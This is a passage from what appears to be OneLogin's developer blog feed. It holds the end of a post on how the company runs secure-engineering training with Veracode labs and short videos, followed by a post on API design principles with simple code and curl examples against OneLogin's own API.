target=&quot;_blank&quot;&gt;Google Dorking&lt;&#x2F;a&gt;, etc. can be very useful. It’s not that you need to turn your whole company into practicing pen-testers. Rather, it helps engineers make more informed risk-assessments by overcoming some of the cognitive resistance like “I don’t see how I personally could ever figure this out, so I suspect nobody else could figure it out either.”&lt;&#x2F;p&gt;
&lt;p&gt;With this kind of approach, Security at OneLogin offers a mature training program on par with, and in many cases exceeding, what companies many times our size have.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-bits-we-bought&quot;&gt;The Bits We Bought&lt;&#x2F;h3&gt;
&lt;p&gt;Tailoring the descriptions of vulnerabilities, their impact to us, the specific mitigation strategies we use at OneLogin, all was a great fit for us. Even so, there were some areas where off-the-shelf easily eclipsed anything we could do internally within our means. The biggest example of this are the “lab exercises” that we put engineers through as a companion to the presentation materials.&lt;&#x2F;p&gt;
&lt;p&gt;Sure, there are DIY solutions here. You can have everyone download and instantiate the open source &lt;a href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-project-juice-shop&#x2F;&quot; target=&quot;_blank&quot;&gt;Juice Shop&lt;&#x2F;a&gt; (an intentionally vulnerable app, for practice) on their own machine. Or, try to maintain a running instance of something like it “internally” for practice use. These all have costs: the time-cost of having students all set this up. There is risk associated with having people install intentionally-vulnerable stuff, or the risk of running an intentionally vulnerable instance without leaving something on your intranet for real attackers to pivot into and persist within. If you run a single instance, you have to keep cleaning it up after students “drop tables” on it. Etc. We didn’t go this route.&lt;&#x2F;p&gt;
&lt;p&gt;For us, we selected the &lt;a href=&quot;https:&#x2F;&#x2F;www.veracode.com&#x2F;products&#x2F;security-labs&quot; target=&quot;_blank&quot;&gt;Veracode Security Labs&lt;&#x2F;a&gt;, previously known as “Hunter2.” It works well for us! We get individual lab exercises focused on individual vulnerabilities (and their mitigation), and a backend that keeps track of whether a participant successfully demonstrates mastery. It’s browser based, nothing for the developers to install. It covers not just demonstrating an exploit, but has participants actually fix their own cloud instance and can detect when they’ve done so. Every student gets an individual instance spun up (and automatically spun down) in Veracode’s cloud. This is a big win for our security team who can focus their time on other things and let Veracode maintain this infrastructure, develop new labs, etc.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;how-it-comes-together&quot;&gt;How It Comes Together&lt;&#x2F;h3&gt;
&lt;p&gt;We’ve woven our own presentation materials together with these off-the-shelf labs. Our engineers get our customized training on &lt;a href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-chapter-ghana&#x2F;assets&#x2F;slides&#x2F;IDOR.pdf&quot; target=&quot;_blank&quot;&gt;IDOR&lt;&#x2F;a&gt;, then practice what they’ve learned in the IDOR lab. Then they switch back to another topic, listen, learn, and practice that one, too.&lt;&#x2F;p&gt;
&lt;p&gt;When we started offering this, we initially did this all live. The instruction was live, and the class would then transition to working quietly on the lab exercise with people able to ask questions if they got stuck. Then repeat for the next topic, and so on. After several iterations of this, we were confident enough that we’d built in pre-emptive answers to most common questions, and turned the entire thing into learn-at-your-own-pace, by converting the presentation segments into videos.&lt;&#x2F;p&gt;
&lt;p&gt;Moving to the video format wasn’t a choice for “worse, but, justified in the name of saving the instructor time.” The video format is actually better! We all know what it’s like to try to multitask during a meeting. We do it because we can’t afford to be unreachable for 2 solid hours, etc. An uninterrupted block of 2 hours is worth its weight in gold to an Engineer - that’s an expensive thing to ask of them. By comparison, Engineers have a variety of times during the day where they can spare 10 minutes. They’re waiting for a meeting to start, and don’t want to get engrossed in their next big bug. They’re waiting for a recompile or waiting for the automated test suite to run.&lt;&#x2F;p&gt;
&lt;p&gt;Many of us have seen this phenomenon at many companies where, in a symbolic act of making everyone acknowledge the importance of security, you get everyone to stop and give you a day. Or 2 days. Security IS that important, but that doesn’t mean we should pass up opportunities to put time-scraps to good use. Figuring out how to make effective use of time-remnants means we can, ultimately, take up MORE of our engineers’ time on security training than we might otherwise get support for. And, if you have “security day,” how often can you really hold it? How long do new hires go before they get that training? Our self-paced approach means there’s no reason for new hires to commit any code before availing themselves of the training.&lt;&#x2F;p&gt;
&lt;p&gt;Modularizing things also makes the training itself more viable for people to return to as reference material later. It’s hard to imagine an engineer digging back into some monolithic training package and trying to find their way back to 1 slide out of 100+, which they dimly remember being relevant to their current problem. But when there’s an 11-minute video dealing with precisely the topic that an engineer is supposed to bug-fix today, taking another look at the video is a natural thing to do.&lt;&#x2F;p&gt;
&lt;p&gt;Veracode provides us with measurements of who successfully completes the labs. If we wanted, we could have settled at that for measurement, and initially did so, with the videos themselves simply being on our internal wiki. As we start measuring even more, it’s easy to start loading those videos into a Learning Management System already in use at OneLogin, to give us tracking of that content as well.&lt;&#x2F;p&gt;
&lt;p&gt;We’ve already identified new topics we want to include, and it’s been easy to add that content. Since the whole thing isn’t delivered as a single monolithic video, there’s been no need to try to splice new content in. People who have seen the rest can easily consume just the updates.&lt;&#x2F;p&gt;
&lt;p&gt;“Security First” is today how we operate at OneLogin.&lt;br &#x2F;&gt;
We continue to provide our Customers, Partners, Suppliers and Prospects with Trust and Security Assurance via the program we operate. For further information, please visit &lt;a href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;trust&quot;&gt;OneLogin Trust&lt;&#x2F;a&gt;. Alternatively, you can reach out to us via your Customer Account Management or directly at &lt;a href=&quot;mailto:security@onelogin.com&quot;&gt;Security@OneLogin.com&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;For now, we hope you’ve enjoyed this look into how we approach Secure Engineering training. Thanks for reading!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>APIs as an Enabler: How to Get Out of Your Customers&#x27; Way</title>
        <published>2020-03-20T00:00:00+00:00</published>
        <updated>2020-03-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/apis-as-enabler/"/>
        <id>https://developers.onelogin.com/blog/apis-as-enabler/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/apis-as-enabler/">&lt;p&gt;In today’s fast-paced digital landscape, APIs have become the backbone of modern software development. But what separates a good API from a great one? The answer lies in a simple principle: &lt;strong&gt;get out of your customers’ way&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-problem-with-over-engineered-apis&quot;&gt;The Problem with Over-Engineered APIs&lt;&#x2F;h2&gt;
&lt;p&gt;Too often, API designers fall into the trap of trying to anticipate every possible use case. They create rigid structures, complex authentication flows, and unnecessary abstractions that ultimately hinder rather than help developers.&lt;&#x2F;p&gt;
&lt;p&gt;Consider this example:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; Over-engineered approach&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;api&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;users&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;management&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;operations&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  filters&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    status&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      equalTo&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;active&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      options&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        strictMode&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; Simple, effective approach&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;api&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;users&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span&gt; status&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;active&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The second approach gets out of the developer’s way—it’s intuitive, readable, and accomplishes the same goal with far less ceremony.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;principles-of-enabling-apis&quot;&gt;Principles of Enabling APIs&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-predictable-patterns&quot;&gt;1. &lt;strong&gt;Predictable Patterns&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Consistency is key. If your API uses RESTful conventions, stick to them everywhere:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;GET&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;    &#x2F;api&#x2F;2&#x2F;users&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;      #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; List users&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;POST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;   &#x2F;api&#x2F;2&#x2F;users&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;      #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; Create user&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;GET&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;    &#x2F;api&#x2F;2&#x2F;users&#x2F;:id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;  #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; Get specific user&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;PUT&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;    &#x2F;api&#x2F;2&#x2F;users&#x2F;:id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;  #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; Update user&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;DELETE&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &#x2F;api&#x2F;2&#x2F;users&#x2F;:id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;  #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; Delete user&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Developers should be able to predict your API’s behavior without constantly referencing documentation.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-clear-error-messages&quot;&gt;2. &lt;strong&gt;Clear Error Messages&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;When something goes wrong, don’t make developers guess. Provide actionable error messages:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;error&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;code&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;INVALID_EMAIL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;message&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;The email address &amp;#39;user@&amp;#39; is not valid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;field&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;email&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;suggestion&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Ensure the email includes a domain (e.g., user@example.com)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;3-thoughtful-rate-limiting&quot;&gt;3. &lt;strong&gt;Thoughtful Rate Limiting&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Rate limits are necessary, but communicate them clearly:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;http&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;HTTP&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;1.1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 200&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; OK&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;X-RateLimit-Limit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; 5000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;X-RateLimit-Remaining&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; 4999&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;X-RateLimit-Reset&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; 1609459200&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Include these headers in every response so developers can build retry logic proactively.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-comprehensive-searchable-documentation&quot;&gt;4. &lt;strong&gt;Comprehensive, Searchable Documentation&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Your API documentation should be:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Complete&lt;&#x2F;strong&gt;: Every endpoint, parameter, and response documented&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Searchable&lt;&#x2F;strong&gt;: Developers should find what they need in seconds&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Interactive&lt;&#x2F;strong&gt;: Live examples and “Try it” functionality&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Up-to-date&lt;&#x2F;strong&gt;: Documentation that matches the current API version&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;real-world-example-onelogin-s-approach&quot;&gt;Real-World Example: OneLogin’s Approach&lt;&#x2F;h2&gt;
&lt;p&gt;At OneLogin, we’ve rebuilt our developer experience around these principles. Here’s how we list users in our v2 API:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; https:&#x2F;&#x2F;api.us.onelogin.com&#x2F;api&#x2F;2&#x2F;users&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;H&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Authorization: bearer YOUR_TOKEN&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That’s it. No complex setup, no unnecessary parameters, no ceremony. We return sensible defaults and let developers override them when needed:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; Need pagination? Add it.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; https:&#x2F;&#x2F;api.us.onelogin.com&#x2F;api&#x2F;2&#x2F;users?limit=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;100&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; Need filtering? Add it.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; https:&#x2F;&#x2F;api.us.onelogin.com&#x2F;api&#x2F;2&#x2F;users?status=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;firstname&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;J&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;h&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;the-impact-of-getting-out-of-the-way&quot;&gt;The Impact of Getting Out of the Way&lt;&#x2F;h2&gt;
&lt;p&gt;When you design APIs that enable rather than constrain, you:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reduce time-to-integration&lt;&#x2F;strong&gt;: Developers get up and running faster&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Increase adoption&lt;&#x2F;strong&gt;: Lower friction means more developers choose your platform&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Improve satisfaction&lt;&#x2F;strong&gt;: Happy developers become advocates&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Enable innovation&lt;&#x2F;strong&gt;: Developers build solutions you never imagined&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;takeaways&quot;&gt;Takeaways&lt;&#x2F;h2&gt;
&lt;p&gt;As you design your next API, ask yourself:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Am I making assumptions about how developers will use this?&lt;&#x2F;li&gt;
&lt;li&gt;Can I simplify this without losing functionality?&lt;&#x2F;li&gt;
&lt;li&gt;Would I enjoy using this API if I were the customer?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
